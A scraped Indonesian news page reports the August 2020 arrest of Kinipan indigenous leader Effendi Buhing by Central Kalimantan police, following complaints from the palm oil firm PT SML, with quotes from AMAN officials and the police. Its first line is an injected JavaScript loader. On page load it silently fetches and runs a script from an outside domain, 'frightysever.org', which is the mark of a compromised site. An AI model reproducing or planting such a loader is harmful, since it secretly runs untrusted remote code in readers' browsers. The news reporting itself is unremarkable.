(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kalimantan Tengah

Pasca Ketua Adat Ditangkap Polisi, Warga Adat Kinipan Ngaku Sering Diteror


KANALKALIMANTAN.COM, PALANGKA RAYA – Pasca penangkapan Ketua Masyarakat Adat Laman Kinipan Effendi Buhing oleh jajaran Polda Kalimantan Tengah (Tengah), pada Rabu (26/8/2020), masyarakat di Desa Kinipan, Kecamatan Batang Kawa, Kabupaten Lamandau, Kalimantan Tengah merasa seperti diteror.

Hal itu disampaikan Sekjen Aliansi Masyarakat Adat Nusantara (AMAN) Rukka Sombolinggi dalam keterangan pers terkait penangkapan Effendi Buhing yang digelar secara daring, Kamis (27/8/2020).

“Dari kemarin saya mendapat banyak telepon dari kampung (Kinipan), mereka menelpon singkat buru-buru. ‘Sudah bu kami takut’. Jadi ada teror masyarakat merasa ada teror,” kata Rukka.

Rukka menegaskan, bahwa pemerintah harus bertanggung jawab dalam melindungi keselamatan para warga yang kekinian merasa diteror. Mulai dari Bupati Lamandau hingga Gubernur Kalteng diminta turun tangan.

“Untuk betul-betul menjadi pelindung masyakat adat karena dewan dayak karena ini adalah orang dayak. Saya berharap mereka dengan sungguh-sungguh menunjukan keberadaan. Bahwa mereka hadir untuk masyarakat adat Kalteng,” tuturnya.

Sementara sebelumnya, Ketua Pengurus Wilayah AMAN Kalimantan Tengah, Ferdi Kurnianto, hingga Rabu malam warga Desa Kinipan, Kecamatan Batang Kawa, Kabupaten Lamandau masih dihantui rasa takut sekaligus marah setelah ketua adatnya ditangkap.

“Kondisi warga di Laman Kinipan saat ini antara takut, resah dan marah atas kejadian tadi siang dan beberapa waktu belakangan ini. Tadi sore mereka sedang musyawarah adat, hasilnya belum dapat kita informasikan,” kata Ferdi kepada Suara.com –jaringan Kanalkalimantan-, Rabu kemarin.

Beruntung emosi warga masih dapat dikendalikan tetua adat Desa Kinipan sehingga warga tidak langsung menyusul Buhing ke Polda Kalteng di Palangka Raya.

“Koalisi dan Tim Penasehat Hukum rencananya besok akan ke Polda Kalteng untuk mengawal litigasi kasus pak Buhing. Malam ini pak Buhing masih dalam perjalanan dari Lamandau menuju Polda Kalteng di Palangka Raya,” jelasnya.

Diseret

Dalam video penangkapan yang beredar di media sosial, Effendi Buhing diseret dari rumahnya di Desa Kinipan, Kecamatan Batang Kawa, Kabupaten Lamandau oleh puluhan polisi berseragam lengkap dengan senjata laras panjang.

Koalisi Keadilan untuk Kinipan mengungkapkan, bahwa Buhing sempat menolak upaya penangkapan atas dirinya, karena penangkapan yang hendak dilakukan tersebut tidak jelas berkaitan dengan masalah apa.

“Effendi Buhing diseret dari dalam rumah menuju mobil berwarna hitam yang sudah disiapkan oleh Polisi. Di dekat mobil tersebut, juga terlihat Polisi berseragam hitam dan bersenjata api laras panjang sedang berjaga,” kata Ferdi Kurnianto dalam keterangannya, Rabu (26/8/2020).

Koalisi sudah menduga penangkapan paksa itu dilakukan terkait gencarnya penolakan yang dilakukan masyarakat adat Laman Kinipan terhadap upaya perluasan kebun sawit PT Sawit Mandiri Lestari (SML) yang membabat hutan adat milik masyarakat Kinipan.

Klaim Polisi

Polda Kalteng menjelaskan penangkapan terhadap, Effendi Buhing berdasar adanya tiga laporan polisi. Ketiga laporan tersebut dibuat oleh PT Sawit Mandiri Lestari (SML).

Kabid Humas Polda Kalteng Kombes Hendra Rochmawan mengklaim jika pihaknya bekerja secara profesional dalam menindaklanjuti adanya laporan tersebut. Sehingga, dia berdalih, setelah ditemukan bukti permulaan yang cukup penangkapan pun langsung dilakukan kepada yang bersangkutan.

“Berawal dari beberapa laporan terkait tiga laporan dari PT SML. Pada prinsipnya Polda Kalteng profesional dalam menanggapi laporan polisi tersebut, dengan bukti permulaan yang cukup sehingga perlu dilaksanakan penangkapan,” kata Hendra kepada wartawan, Kamis (27/8/2020).

Hendra mengatakan bahwa pada prinsipnya pihak pelapor dan terlapor PT SML dan Effendi Buhing sama-sama memiliki hak yang sama di muka hukum. Sehingga, nantinya selaku pihak terlapor, Effendi Buhing dapat memberikan penjelasan atau jawaban atas laporan tersebut kepada penyidik. (suara.com)

Reporter : suara.com
Editor : kk

Al Ghifari

Recent Posts

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

8 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

9 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

11 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

12 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

13 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

13 jam ago

This website uses cookies.